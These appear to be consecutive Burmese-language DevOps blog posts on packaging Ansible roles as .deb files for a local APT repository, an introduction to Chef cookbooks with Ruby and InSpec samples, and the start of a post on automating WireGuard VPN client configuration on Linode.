Ansible role နှစ်ခုကို အထက်ကအတိုင်းဖန်တီးပြီးရင် .deb package အတွက်ပြင်ဆင်စရာရှိတာကို ဆက်လက်ပြင်ဆင်ပေးလိုက်ပါ။ လုပ်ရတဲ့အဆင့်တွေက RPM နဲ့တော့ကွာခြားချက်တွေရှိပါတယ်။

```bash
# prepare the required directories and copy Ansible role files and directories
tyla@ubuntu:~/code/deb$ mkdir -p ~/ansible-role-myrole/usr/share/ansible/roles/myrole          
tyla@ubuntu:~/code/deb$ cp -r myrole/* ~/ansible-role-myrole/usr/share/ansible/roles/myrole/   
tyla@ubuntu:~/code/deb$ mkdir ~/ansible-role-myrole/DEBIAN

# prepare the control file
tyla@ubuntu:~/code/deb$ vi ~/ansible-role-myrole/DEBIAN/control
Package: ansible-role-myrole
Version: 1.0.0
Section: misc
Priority: optional
Architecture: all
Depends: ansible
Maintainer: Your Name <you@example.com>
Description: Ansible role for <describe your role here>

# set permission for these two directories
tyla@ubuntu:~/code/deb$ chmod -R 755 ~/ansible-role-myrole/  
tyla@ubuntu:~/code/deb$ chmod -R 755 ~/ansible-role-myrole/DEBIAN/              
tyla@ubuntu:~/code/deb$ cd                                                       
tyla@ubuntu:~$ dpkg-deb --build ansible-role-myrole                           
dpkg-deb: building package 'ansible-role-myrole' in 'ansible-role-myrole.deb'. 
```

အထက်မှာပြထားတဲ့အတိုင်း အဆင့်ဆင့်လုပ်ပြီးတာနဲ့ ansible-role-myrole.deb ကို ကိုယ့်ရဲ့ home directory မှာတွေ့မြင်ရမှာဖြစ်ပါတယ်။ နောက်ထပ် အသစ်တွေပြင်ဆင်မူတွေလုပ်မယ်ဆိုရင် control file မှာ version update လုပ်၊ ပြီးရင် `dpkg-deb --build ansible-role-myrole` command ကိုနောက်တခါ run လိုက်ရုံပါပဲ။

ထိုနည်းတူစွာ ansible-role-merole.deb ကိုလည်း အထက်ဖော်ပြပါအဆင့်တွေအတိုင်းနောက်တခေါက်လုပ်ပြီး ဖန်တီးလိုက်ပါ။ .deb package နှစ်ခုရလာပြီဆိုရင် repository အနေနဲ့ နောက်အဆင့်မှာဆက်လက် setup လုပ်ဖို့အဆင်သင့်ဖြစ်ပါပြီ။

#### DEB repository ဖန်တီးပုံ လုပ်ငန်းစဉ်အဆင့်ဆင့်

RPM မှာတုန်းကလိုပဲ .deb package တွေကို /opt/myrepo directory အောက်မှာပြထားတဲ့အတိုင်းပြင်ဆင်လိုက်ပါ။ ပြီးရင် .deb package တွေကို သူ့ရဲ့ sub-directory pool ထဲကို copy ကူးထည့်လိုက်ပါ။

```bash
tyla@ubuntu:~$ sudo mkdir -p /opt/myrepo/pool
tyla@ubuntu:~$ cd /opt
tyla@ubuntu:/opt$ sudo chown -R tyla:tyla myrepo/
tyla@ubuntu:/opt$ cd 
tyla@ubuntu:~$ cp *.deb /opt/myrepo/pool/
tyla@ubuntu:~$ cd /opt/myrepo/pool/
tyla@ubuntu:/opt/myrepo/pool$ ll
total 16
drwxr-xr-x 2 tyla tyla 4096 Nov 13 09:30 ./
drwxr-xr-x 3 tyla tyla 4096 Nov 13 09:29 ../
-rw-r--r-- 1 tyla tyla 2230 Nov 13 09:30 ansible-role-merole.deb
-rw-r--r-- 1 tyla tyla 2238 Nov 13 09:30 ansible-role-myrole.deb
tyla@ubuntu:/opt/myrepo/pool$ cd ..
tyla@ubuntu:/opt/myrepo$ dpkg-scanpackages pool /dev/null | gzip -9c > Packages.gz
dpkg-scanpackages: warning: Packages in archive but missing from override file:
dpkg-scanpackages: warning:   ansible-role-merole ansible-role-myrole
dpkg-scanpackages: info: Wrote 2 entries to output Packages file.
tyla@ubuntu:/opt/myrepo$ tree
.
├── Packages.gz
└── pool
    ├── ansible-role-merole.deb
    └── ansible-role-myrole.deb
```

Repository အဆင်သင့်ဖြစ်ရင် APT package manager နဲ့တွဲပြီးအသုံးပြုလို့ရအောင် အောက်မှာပြထားတဲ့ အတိုင်း source list ကို update လုပ်ပေးရပါ့မယ်။

```bash
# add deb source list 
tyla@ubuntu:~$ sudo vi /etc/apt/sources.list.d/myrepo.list
deb [trusted=yes] file:///opt/myrepo ./

# update repo cache with APT package manager
tyla@ubuntu:/opt/myrepo$ sudo apt update                                                                                                                                                                                                                                [40/887]
Get:1 file:/opt/myrepo ./ InRelease                                                                                                                                                                                                                                             
Ign:1 file:/opt/myrepo ./ InRelease                                                                                                                                                                                                                                             
Get:2 file:/opt/myrepo ./ Release                                                                                                                                                             
Ign:2 file:/opt/myrepo ./ Release                                                                                                                                                             
Get:3 file:/opt/myrepo ./ Packages                                                                                                                                                            
Ign:3 file:/opt/myrepo ./ Packages                                                                                                                                                            
Get:4 file:/opt/myrepo ./ Translation-en_US                                                                                                                                                   
Ign:4 file:/opt/myrepo ./ Translation-en_US                                                                                                                                                   
Get:5 file:/opt/myrepo ./ Translation-en                                                                                                                                                      
Ign:5 file:/opt/myrepo ./ Translation-en                                                                                                                                                      
Get:3 file:/opt/myrepo ./ Packages                                                                                                                                                            
Ign:3 file:/opt/myrepo ./ Packages                                                                                                                                                            
Get:4 file:/opt/myrepo ./ Translation-en_US                                                                                                                                                   
Ign:4 file:/opt/myrepo ./ Translation-en_US                                                                                                                                                   
Get:5 file:/opt/myrepo ./ Translation-en                                                                                                                                                      
Ign:5 file:/opt/myrepo ./ Translation-en                                                                                                                                                      
Get:3 file:/opt/myrepo ./ Packages                                                                                                                                                            
Ign:3 file:/opt/myrepo ./ Packages                                                                                                                                                            
Get:4 file:/opt/myrepo ./ Translation-en_US                                                                                                                                                   
Ign:4 file:/opt/myrepo ./ Translation-en_US                                                                                                                                                   
Get:5 file:/opt/myrepo ./ Translation-en                                                                                                                                                      
Ign:5 file:/opt/myrepo ./ Translation-en
Get:3 file:/opt/myrepo ./ Packages [422 B]
Get:4 file:/opt/myrepo ./ Translation-en_US
Ign:4 file:/opt/myrepo ./ Translation-en_US
Get:5 file:/opt/myrepo ./ Translation-en                     
Ign:5 file:/opt/myrepo ./ Translation-en                     
Get:4 file:/opt/myrepo ./ Translation-en_US                  
Ign:4 file:/opt/myrepo ./ Translation-en_US                  
Get:5 file:/opt/myrepo ./ Translation-en                     
Ign:5 file:/opt/myrepo ./ Translation-en                     
Get:4 file:/opt/myrepo ./ Translation-en_US                  
Ign:4 file:/opt/myrepo ./ Translation-en_US                  
Get:5 file:/opt/myrepo ./ Translation-en                     
Ign:5 file:/opt/myrepo ./ Translation-en                     
Get:4 file:/opt/myrepo ./ Translation-en_US                  
Ign:4 file:/opt/myrepo ./ Translation-en_US                  
Get:5 file:/opt/myrepo ./ Translation-en                     
Ign:5 file:/opt/myrepo ./ Translation-en                     
Hit:6 http://au.archive.ubuntu.com/ubuntu jammy InRelease                          
Hit:7 http://au.archive.ubuntu.com/ubuntu jammy-updates InRelease
Hit:8 http://au.archive.ubuntu.com/ubuntu jammy-backports InRelease
Hit:9 http://security.ubuntu.com/ubuntu jammy-security InRelease
Reading package lists... Done
Building dependency tree... Done                                    
Reading state information... Done                                   
All packages are up to date.                                        
```

#### DEB package တွေကို APT package manager နဲ့စားသုံးခြင်း

APT ကိုအသုံးပြုပြီး ကိုယ်တိုင်ဖန်တီးထားတဲ့ .deb package တွေကို ဘယ်လိုမျိုး အသုံးချနိုင်သလဲဆိုတာကိုအောက်မှာကြည့်လိုက်ရအောင်ဗျာ။

```bash
# install ansible-role-myrole deb package
tyla@ubuntu:/opt/myrepo$ sudo apt install ansible-role-myrole                                                                           
Reading package lists... Done                                       
Building dependency tree... Done                                    
Reading state information... Done                                   
The following NEW packages will be installed:                       
  ansible-role-myrole                                               
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.                                                                          
Need to get 0 B/2,238 B of archives.                                
After this operation, 0 B of additional disk space will be used.                                                                        
Get:1 file:/opt/myrepo ./ ansible-role-myrole 1.0.0 [2,238 B]                                                                           
Selecting previously unselected package ansible-role-myrole.                                                                            
(Reading database ... 119045 files and directories currently installed.)                                                                
Preparing to unpack .../pool/ansible-role-myrole.deb ...                                                                                
Unpacking ansible-role-myrole (1.0.0) ...                           
Setting up ansible-role-myrole (1.0.0) ...                          
Scanning processes...                                               
Scanning linux images...                                            

Running kernel seems to be up-to-date.                              

No services need to be restarted.                                   

No containers need to be restarted.                                 

No user sessions are running outdated binaries.                                                                                         

No VM guests are running outdated hypervisor (qemu) binaries on this host.                                                              

# verify the installation
tyla@ubuntu:/opt/myrepo$ cd /usr/share/ansible/roles/                                                                                   
tyla@ubuntu:/usr/share/ansible/roles$ tree                          
.                                                                   
└── myrole                                                          
    ├── defaults                                                    
    │   └── main.yml                                                
    ├── handlers                                                    
    │   └── main.yml                                                
    ├── meta                                                        
    │   └── main.yml                                                
    ├── README.md                                                   
    ├── tasks                                                       
    │   └── main.yml                                                
    ├── tests                                                       
    │   ├── inventory                                               
    │   └── test.yml                                                
    └── vars                                                        
        └── main.yml                                                

7 directories, 8 files  

# uninstall ansible-role-myrole 
tyla@ubuntu:/usr/share/ansible/roles$ sudo apt remove ansible-role-myrole
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages will be REMOVED:
  ansible-role-myrole
0 upgraded, 0 newly installed, 1 to remove and 0 not upgraded.
After this operation, 0 B of additional disk space will be used.
Do you want to continue? [Y/n] Y
(Reading database ... 119062 files and directories currently installed.)
Removing ansible-role-myrole (1.0.0) ...
sh: 0: getcwd() failed: No such file or directory

# verify the uninstallation
tyla@ubuntu:/usr/share/ansible/roles$ tree
.

0 directories, 0 files
```

ဒီလောက်ဆိုရင် package manager ဆိုတာဘာအတွက်လဲ၊ ဘယ်လိုအသုံးဝင်သလဲ၊ ဘယ်လိုမျိုးသုံးနိုင်သလဲဆိုတာ ရိပ်စားမိမယ်လို့မျှော်လင့်ပါတယ်။


# Chef မိတ်ဆက် အပိုင်း(၁)

Infrastructure as Code (IaC) အကြောင်း၊ network/systems automation အကြောင်းတွေကို စာရေးသူစိတ်ဝင်စားလို့လေ့လာရင်း ရသမျှအကုန်သိမ်းကြုံပြီးတော့လေ့လာလိုက်တာဖြင့် ထိုက်သင့်သလောက် ခရီးရောက်သင့်သလောက်ရောက်တယ်လို့ဆိုရမှာပါ။ စာတွေထပ်ပြီးတော့ မရေးဖြစ်ပေမယ့်လည်း လေ့လာစရာရှိတာတွေကိုဆက်ပြီးလေ့လာဖြစ်ခဲ့ပါတယ်။ အရင် IaC အပိုင်းတွေခွဲပြီးတော့ ရေးတဲ့ article တွေမှာဆို Vagrant တို့၊ Terraform တို့ အကြောင်းကို စပြီးမိတ်ဆက်ဖြစ်ခဲ့ဖူးပါတယ်။ အဲ့ဒီတုန်းက အပိုင်း(၄) အတွက် Ansible ကိုအသုံးပြုပြီး IaC ဘယ်လိုလုပ်လို့ရသလဲ ဆိုတာဆက်ပြီးတော့ မရေးဖြစ်ခဲ့ပါဘူး။ စာရေးသူရဲ့ လုပ်ငန်းခွင်မှာကလည်း Network Automation အတွက် Ansible ကို တွင်တွင်ကျယ်ကျယ်သုံးဖြစ်ခဲ့တဲ့အတွက် system automation အတွက် context ကောင်းကောင်းဖြစ်လာမယ့် use case မရှိခဲ့တာကြောင့်လည်းဖြစ်ပါတယ်။ အခုတော့ Linode မှာ VPS တစ်ခုနဲ့ WireGuard VPN server ကိုတည်ဆောက်တာဟာ အသင့်တော်ဆုံး Ansible ရဲ့ IaC workflow တစ်ခုအနေနဲ့ ဆက်ပြီးတော့ ရေးလို့ရသွားပါပြီ။ အဲ့ဒီတော့... IaC အပိုင်း(၄) ကိုမကြာခင်မှာ ဆက်ပြီးတော့တင်ပြသွားပါ့မယ်။ ကျန်တဲ့ အပိုင်းတွေကို မဖတ်ရသေးရင်တော့ အောက်ကလင့်တွေမှာ သွားရောက်ဖတ်ရှုလို့ရပါတယ်။

{% embed url="<https://my.itmatic101.com/automation/rough-edges-iac-part1>" %}

{% embed url="<https://my.itmatic101.com/automation/rough-edges-iac-part2>" %}

{% embed url="<https://my.itmatic101.com/automation/rough-edges-iac-part3>" %}

အခု ဒီ article မှာတော့ အရင်တုန်းလုံးဝ မဆွေးနွေးဘူးသေးတဲ့ Chef အကြောင်းပဲဖြစ်ပါတယ်။ Infrastructure Automation မှာ တော်တော်လေးကို mature ဖြစ်တဲ့ configuration management tool တစ်ခုဖြစ်ရုံသာမက၊ Test Kitchen နဲ့ InSpec လိုမျိုး testing engine တွေတခါတည်းပါပြီးသားဖြစ်တဲ့ အတွက်အခြားထွေထွေထူးထူး ထပ်စောင်းရေးရတဲ့ code တွေမလိုပါဘူး။ ပိုပြီးတော့ စိတ်ဝင်စားဖို့ကောင်းတာက wrapper cookbook လို့ခေါ်တဲ့ဟာကိုသုံးပြီးတော့ community မှာရှိပြီးသား recipes တွေကို ယူသုံးလို့ရတဲ့အတွက် အရမ်းကို အဆင်ပြေပါတယ်။ System ပိုင်းနဲ့ infrastructure ပိုင်းမှာတော့ Chef ဟာ Ansible ထက်သာတဲ့ အရာတွေအများကြီးရှိပါတယ်။ သို့သော် Ansible လိုမျိုး ssh enable ဖြစ်ရုံနဲ့ စပြီးတော့အလုပ်လုပ်လို့ရနိုင်မျိုးတော့လည်း မဟုတ်ပါ။ အသေးစိတ်ကို အောက်မှာဆက်ပြီးတော့ ရှင်းပါ့မယ်။

Chef မှာဘာတွေရှိတယ်၊ ဘာတွေလုပ်လို့ရတယ်ဆိုတာတွေကို ဆက်မသွားခင် Chef မှာသုံးတဲ့ အသုံးအနှုန်းလေးတွေကို အရင်ဆုံးမိတ်ဆက်ပေးမှ သဘာဝကြပါလိမ့်မယ်။ နောက်မို့ဆိုရင်... စာရေးသူ ပြောတဲ့ kitchen တို့၊ recipe တို့၊ cookstyle တို့ကို ဘာတွေလဲဆိုပြီးတော့ မျက်စိလည်စရာရှိပါတယ်။

**Chef Workstation** - အရင်တုန်းကတော့ ChefDK (Chef Development Kit)ဆိုပြီးတော့ခေါ်ပါတယ်၊ အခုတော့ Chef Workstation ရယ်လို့ ပြောင်းလဲခေါ်ဆိုလာခဲ့ကြပါတယ်။ ဒီတစ်ခုကိုတော့ ကိုယ့် computer ပေါ်မှာ install လုပ်ပြီး Chef server နဲ့တွဲသုံးလို့ရပါတယ်။ Chef server မပါပဲနဲ့လည်း Chef Workstation ကိုပဲ standalone အသုံးပြုချင်လည်း ရပါတယ်။ Chef Workstation ကို install မလုပ်ပဲနဲ့ chef code တွေကို စတင်ပြီးတော့ ရေးလို့မရပါဘူး။ ဥပမာ - ansible-playbook တွေနဲ့ ansible ad-hoc commands တွေကို run ဖို့အတွက် Ansible ကို ကိုယ့်စက်ပေါ်မှာအရင်ဆုံး install လုပ်ရသလိုပဲ၊ chef ကိုသုံးဖို့ရာအတွက် Chef Workstation ကိုကိုယ့်စက်မှာ ပထမဆုံး install လုပ်ရပါတယ်။

**Chef Server** - Chef ကိုသုံးတဲ့အခါမှာ သူ့မှာပါတဲ့ feature တွေကိုအကုန်လုံးကို အသုံးပြုနိုင်ဖို့ရာ Chef server လိုပါတယ်။ ကိုယ်တိုင် self-hosted လုပ်လို့ရနိုင်သလို၊ Chef က hosted လုပ်ပေးထားတဲ့ [manage.chef.io](https://manage.chef.io/login) ကိုသုံးမယ်ဆိုလည်းရပါတယ်။ ကိုယ့်ရဲ့ environment ပေါ်မှာမူတည်ပြီးတော့ ရွေးချယ်အသုံးပြုနိုင်ပါတယ်။ Chef Workstation မှာ develop လုပ်ထားတဲ့ Chef code တွေဟာ ဒီအတိုင်းထားလိုက်ရင် locally execute လုပ်ဖို့နဲ့ Rake လိုမျိုး tool တွေကိုသုံးပြီးတော့ target machine တွေမှာသွား run ဖို့အတွက်တော့ အဆင်ပြေပါတယ်။ သို့သော်... Chef Server ကိုသုံးခြင်းအားဖြင့် Chef-Client node တွေကို bootstrap လုပ်ပြီးတော့ Chef Server မှာ register လုပ်ထားလို့ရပါတယ်။ နောင်အခါ လိုအပ်တဲ့ configuration တွေကိုထပ်ပေါင်းထည့်ချင်ရင်လည်း ရှိပြီးတော့ machine state တွေကို Chef Server က manage လုပ်နိုင်စွမ်းရှိပါတယ်။ ဒီတစ်ခုဟာဖြင့် Ansible နဲ့ လုံးဝကို ကွဲထွက်သွားတဲ့ Chef ရဲ့ ထူးခြားချက်တစ်ခုပါ။

**Chef-Client** - Chef-client ဆိုတာကတော့ Chef က manage လုပ်တဲ့ node တွေကိုခေါ်ဆိုခြင်းဖြစ်ပါတယ်။ အထက်မှာပြောသလိုမျိုး node အသစ်တစ်ခုကို Chef နဲ့ manage လုပ်ဖို့ရာအတွက် Chef Server နဲ့ bootstrap လုပ်ရပါတယ်။ အဲ့ဒီလိုမျိုး လုပ်တဲ့အခါမှာ agent ကို Chef-client node တွေပေါ်မှာ install လုပ်တယ်။ ဒီ့အတွက်လည်း Chef Server ဟာအဲ့ဒီ chef-client node တွေအတွက် state-aware ဖြစ်တာပါ။ ဒါ့ကြောင့် test and repair လိုမျိုး ကိစ္စတွေဟာ Chef မှာအလွယ်တကူ desired-state ကိုပြန်ရောက်အောင် လုပ်ဆောင်နိုင်တာပဲဖြစ်ပါတယ်။ အလွယ်ပြောရရင် Chef-client ဆိုတာ၊ target သို့မဟုတ် managed node လို့မှတ်ထားနိုင်ပါတယ်။

**Cookbooks** - Cookbook ဟာ Chef မှာ အခြေခံအကျဆုံး အစိတ်အပိုင်းတစ်ခုဖြစ်ပါတယ်။ Ansible မှာဆိုရင် Playbook လို့ခေါ်သလို၊ Chef မှာတော့ Cookbook ရယ်လို့ ခေါ်ဆိုကြပါတယ်။ Cookbook name တစ်ခုချင်းစီအောက်မှာမှ recipes, resources, templates, metadata, policyfiles, libraries, spec နဲ့ test ဆိုတဲ့အစိတ်အပိုင်းတွေထပ်ပြီး ပါဝင်တယ်။ အားလုံးကို ခြုံငုံပြီးတော့ ခပ်သွက်သွက်လေးရှင်းရရင်တော့ recipe ဆိုတာက ကိုယ်လုပ်ချင်တဲ့ operation တစ်ခု သို့မဟုတ် တစ်ခုထက်ပိုတဲ့ဟာတွေကို စုပေးထားတဲ့ .rb ဖိုင်လေးတွေဖြစ်ပါတယ်။ Ruby programming ကို backend မှာသုံးထားတဲ့အတွက် recipe တွေကိုရေး တဲ့အခါမှာ Ruby code ဖိုင်လုံးလုံးလျားလျား မဟုတ်သည့်တိုင်အောင်၊ Ruby syntax တွေအများကြီးကိုတွေရမှာပါ။

{% code title="chef-repo/cookbooks/linux\_node/recipes/nodeinfo.rb" %}

```ruby
template '/tmp/node-info.txt' do
  source 'node-info.txt.erb'
end

file '/tmp/node-info.txt' do
   content node_info
   mode '00755'
end
```

{% endcode %}

Resource ဆိုတာကတော့ Chef မှာ built-in ပါလာတဲ့ resource တွေရှိသလို၊ custom resource တွေကိုလည်း ကိုယ်လိုသလို ထပ်မံထည့်သွင်းရေးလို့ရပါတယ်။ Resource ကိုအခြားနေရာတွေမှာလည်း သုံးလို့ရတဲ့ပုံစံတွေရှိပါသေးတယ်။

{% code title="chef-repo/cookbooks/linux\_node/resources/webserver.rb" %}

```ruby
property :homepage, String, default: '<h1>Hello world!</h1>'

action :create do
  folder = '/var/www/html/'
  file = 'index.html'

  if platform_family?('debian')
    apt_update
  end

  package 'Install Apache' do
    case node['platform']
    when 'redhat', 'centos'
      package_name 'httpd'
      action :upgrade
    when 'ubuntu', 'debian'
      package_name 'apache2'
      action :upgrade
    end
  end

  service 'Start Apache' do
    case node['platform']
    when 'redhat', 'centos'
      service_name 'httpd'
      action [:enable, :start]
    when 'ubuntu', 'debian'
      service_name 'apache2'
      action [:enable, :start]
    end
  end

  file "#{folder}#{file}" do
    content new_resource.homepage
  end
end

action :delete do
  package 'httpd' do
    action :delete
  end
end
```

{% endcode %}

Templates ဆိုတာကတတော့၊ Ansible မှာ template အတွက် Jinja2 ကိုအသုံးပြုသလိုမျိုးပဲ၊ Chef မှာတော့ Embedded Ruby ဆိုတဲ့ .erb file extension တွေနဲ့ template မှာအသုံးပြုပါတယ်။ Ansible နဲ့ Python မှာ Jinja2 template ကိုသုံးဖူးရင် template တွေဟာ ဘယ်လောက်ထိအရေးပါတယ်ဆိုတာကို တွေ့ရမှာပါ။

{% code title="chef-repo/cookbooks/linux\_node/templates/node-info.txt.erb" %}

```erb
### This file was automatically generated by Chef ###

Node Information:

Hostname: <%= node['hostname'] %>
FQDN: <%= node['fqdn'] %>

Operating System: <%= node['platform'] %> <%= node['platform_version'] %>
CPU: <%= node['cpu']['cores'] %> x <%= node['cpu']['0']['model_name'] %>
Memory: <%= node['memory']['total'] %> (<%= node['memory']['free'] %> available)

IP Address: <%= node['ipaddress'] %>
```

{% endcode %}

Policyfiles ဆိုတာကတော့ အရင်တုန်းက Chef မှာ berkfiles လို့ခေါ်ခဲ့ပြီးတော့၊ အခု version အသစ်မှာတော့ policyfiles လို့ပြောင်းလဲခေါ်ဆိုလာပါတော့တယ်။ Policyfiles တွေဟာ wrapper cookbooks တွေသုံးတဲ့အခါမှာ dependencies တွေကို manage လုပ်ဖို့အတွက် အသုံးပြုတဲ့ နေရာပါ။ ဥပမာ supermarket ကို default\_source အနေနဲ့ သတ်မှတ်ပေးတဲ့ ပုံနဲ့ အခြားသော အစိတ်အပိုင်းတွေကို အောက်မှာပြထားတဲ့ ကိုယ်က သတ်မှတ်ပေးလို့ရပါတယ်။

{% code title="chef-repo/cookbooks/linux\_node/policyfiles/nodeinfo.rb" %}

```ruby
name 'linux_node'

default_source :supermarket

run_list 'linux_node::default'
run_list 'linux_node::nodeinfo'

cookbook 'linux_node', path: '..'
```

{% endcode %}

Chef မှာရှိပြီးသား Ruby class တွေအပြင်ပိုပြီးတော့ အသုံးပြုချင်တဲ့ use case ရှိရင် Libraries တွေကိုအသုံးပြုပြီးတော့ extend လုပ်လို့ရပါတယ်။ Resource ကိုအပေါ်မှာ ပြထားသလို အသုံးပြုချင်ရင်ရသလိုပဲ၊ libraries တွေကိုလည်း အောက်မှာပြထားတဲ့အတိုင်း အသုံးပြုလို့ရပါတယ်။

{% code title="chef-repo/cookbooks/linux\_node/libraries/node\_info.rb" %}

```ruby
# libraries/node_info.rb
module Node
  module SystemInfo
    def node_info
      # Declare variables
      hostname = node['hostname']
      fqdn = node['fqdn']
      platform = node['platform']
      platform_version = node['platform_version']
      cpu_cores = node['cpu']['cores']
      cpu_type = node['cpu']['0']['model_name']
      memory_total = node['memory']['total']
      memory_free = node['memory']['free']
      ipaddress = node['ipaddress']

      "\n
      Hostname: #{hostname}
      FQDN: #{fqdn}\n
      Operating System: #{platform.capitalize()} #{platform_version}
      CPU: #{cpu_cores} x #{cpu_type}
      Memory: #{memory_total} (#{memory_free} available)\n
      IP Address: #{ipaddress}\n"
    end
  end
end

Chef::Recipe.include(Node::SystemInfo)
Chef::Resource.include(Node::SystemInfo)
```

{% endcode %}

Cookbook မှာနောက်ဆုံး အရေးကြီးတဲ့ spec နဲ့ test ကတော့ testing အတွက်အသုံးပြုပါတယ်။ နောက်အပိုင်းတွေရေးတဲ့ အခါကြရင် Chef ရဲ့ cookbook တွေကို အစကနေပြီးတော့ တည်ဆောာက်ပုံနဲ့ Test Kitchen နဲ့ InSpec ကိုအသုံးပြုပုံအသေးစိတ်ကို ဆက်လက်ရှင်းပါ့မယ်။ အခုဒီနေရာမှာတော့... Cookbook ရဲ့ ပါဝင်တဲ့ အစိတ်အပိုင်းအချို့နဲ့ code sample တွေကို မျက်လုံးထဲမြင်စေချင်လို့ တစ်ခုချင်းစီပြထားပေးပါတယ်။

{% code title="chef-repo/cookbooks/linux\_node/test/integration/default/nodeinfo\_test.rb" %}

```ruby
# InSpec test for recipe linux_node::nodeinfo

# The InSpec reference, with examples and extensive documentation, can be
# found at https://www.inspec.io/docs/reference/resources/

filename = 'node-info.txt'
folder = '/tmp/'

describe file("#{folder}#{filename}") do
  it { should exist }
  its('type') { should cmp 'file' }
  it { should be_file }
  it { should_not be_directory }
  its('content') { should_not be nil }
  its('mode') { should cmp '00755' }
end

```

{% endcode %}

{% code title="chef-repo/cookbooks/linux\_node/spec/unit/recipes/nodeinfo\_spec.rb" %}

```ruby
#
# Cookbook:: linux_node
# Spec:: nodeinfo
#
# Copyright:: 2020, The Authors, All Rights Reserved.

require 'spec_helper'

describe 'linux_node::nodeinfo' do

  context 'When all attributes are default, on Ubuntu 20.04' do

    let(:chef_run) { ChefSpec::SoloRunner.new(platform: 'ubuntu', version: '20.04').converge(described_recipe) }

    it 'creates a template with the default action' do
      expect(chef_run).to create_template('/tmp/node-info.txt')
      expect(chef_run).to_not create_template('/tmp/not-node-info.txt')
    end
  
  end

  context 'When all attributes are default, on CentOS 8' do

    let(:chef_run) { ChefSpec::SoloRunner.new(platform: 'centos', version: '8').converge(described_recipe) }

    it 'creates a template with the default action' do
      expect(chef_run).to create_template('/tmp/node-info.txt')
      expect(chef_run).to_not create_template('/tmp/not-node-info.txt')
    end

  end

end

```

{% endcode %}

အခုဆိုရင် Chef ရဲ့ အရေးကြီးဆုံး Chef Architecture ဖြစ်တဲ့ Chef Workstation, Chef Server နဲ့ Chef-Client ဆိုတဲ့ အစိတ်အပိုင်းတွေရယ်။ Cookbook တစ်ခုကိုတည်ဆောက်တဲ့ အခါပါဝင်တဲ့အစိတ်အပိုင်းတွေကိုသိသင့်သလောက် သိပြီလို့ထင်ပါတယ်။ ဘယ်လိုမျိုး အသုံးပြုလဲဆိုတဲ့အကြောင်းနဲ့ Cookbook တစ်ခုချင်းစီ အသုံးပြုတဲ့ပုံစံမျိုး ကိုအသေးစိတ် ဆက်ပြီးတော့ ရေးချင်ပါတယ်။


# Wireguard ရဲ့ automated workflow

အရှေ့က post တစ်ခုမှာ Wireguard ကိုဘယ်လိုမျိုး setup လုပ်ပြီးတော့ကိုယ်အိမ်ကို အချိန်မရွေး အပြင်ကနေ VPN ချိတ်လို့ရအောင်လို့ တခါရှင်းပြပြီးပါပြီ၊ နောက်မြန်မာနိုင်ငံမှာ နိုင်ငံရေးအခြေအနေ မကောင်းလို့စစ်အာဏာသိမ်း အစိုးရက Facebook နဲ့ အခြားသောလူသုံးများတဲ့ social media platform တွေနဲ့ Google service တွေကိုပိတ်လိုက်တဲ့ အခါမှာလည်း Linode မှာကိုယ်ပိုင်အကောင်ဖွင့်ပြီးတော့ VPS တစ်လုံးပေါ်မှာ ကိုယ်ပိုင် Wireguard VPN server တစ်ခုကို ထောင်ပြီးတော့ ကိုယ်နဲ့ ရင်းနှီးတဲ့ မိတ်ဆွေတွေ သူငယ်ချင်းတွေကို ပေးသုံးလို့ရနိုင်အောင်လို့ setup လုပ်ပုံကိုလည်း တဖန်ထပ်ရှင်းခဲ့ပါတယ်။ ကိုယ်ပိုင်အိမ်မှာရှိတဲ့ Wireguard VPN server အတွက် private key နဲ့ public key တွေကို ထိန်းသိမ်းရတာလွယ်သလောက်၊ တကယ်တမ်း Linode မှာကိုယ်တိုင် setup လုပ်တဲ့အချိန်မှာတော့ လူတွေအများကြီးအတွက် client side configuration တွေကို QR code ထုတ်တဲ့အခါ တော်တော်လေးကို လက်ဝင်လာပါတော့တယ်။ အခြားသူတွေကတော့ Wireguard configuration တွေအတွက် အများကြီးထုတ်လို့ရအောင်လို့ website တွေနဲ့ GitHub ပေါ်မှာလည်း script အချို့ကိုရှာတွေ့ပါတယ်။ ကိုယ့်အတွက်လက်တွေ့ သုံးတဲ့အခါမှာတော့ website ပေါ်မှာထုတ်တဲ့ configuration တွေကို public cloud မှာတင်ထားတဲ့ VPS မှာ configure လုပ်ဖို့အတွက် စိတ်မသန့်သလိုရှိတာနဲ့ မသုံးဖြစ်ခဲ့ပါဘူး။ နောက်ပြီးတော့ GitHub မှာတင်ထားတဲ့ customised script တွေကြတော့လည်း ကိုယ်သုံးမယ့် ပုံစံနဲ့ကွက်တိ အဆင်မပြေတာကြောင့် ကိုယ်သုံးချင်တဲ့ပုံစံအတိုင်း ကိုယ်ပိုင် script တစ်ခုရေးမယ်လို့ စဉ်းစားမိလာပါတော့တယ်။ နောက်ပြီးတော့ automated workflow အတွက်ဘယ်လိုရေးမလဲ၊ Python သုံးမလား၊ Bash မှာပဲရေးမလားဆိုတာကို ထပ်တခါစဉ်းစားကြည့်တော့ Bash ကကိုယ့်အတွက်ပိုပြီးတော့ အဆင်ပြေသလိုရှိိနေတာနဲ့ bash ကိုပဲအသုံးပြုလိုက်ပါတော့တယ်။

## ကြိုတင်ပြင်ဆင်ထားရမယ့် အချက်များ

ပထမဆုံးအနေနဲ့ Linode မှာ ကိုယ် setup လုပ်ထားတဲ့ Wireguard server တစ်ခုအဆင်သင့်ရှိနေရပါ့မယ်။ ပြီးတော့ အဲ့ဒီ server အတွက် wireguard ရဲ့ public နဲ့ private key pair တစ်ခုကို အရင်ဆုံး issue ထုတ်ထားရပါ့မယ်။ အသေးစိတ်လုပ်ပုံကိုတော့ ထပ်မရှင်းတော့ပါဘူး။ အရှေ့က post နှစ်ခုကို မဖတ်ရသေးရင်တော့ အောက်မှာတချက်အရင်သွားဖတ်လို့ရပါတယ်။

**Wireguard အကြောင်းသိကောင်းစရာ**

{% embed url="<https://my.itmatic101.com/networking/wireguard-intro>" %}

**Linode VPS မှာကိုယ်ပိုင် Wireguard VPN server တစ်ခုတည်ဆောက်ပုံ**

{% embed url="<https://my.itmatic101.com/networking/linode-vps-wireguard-vpn>" %}

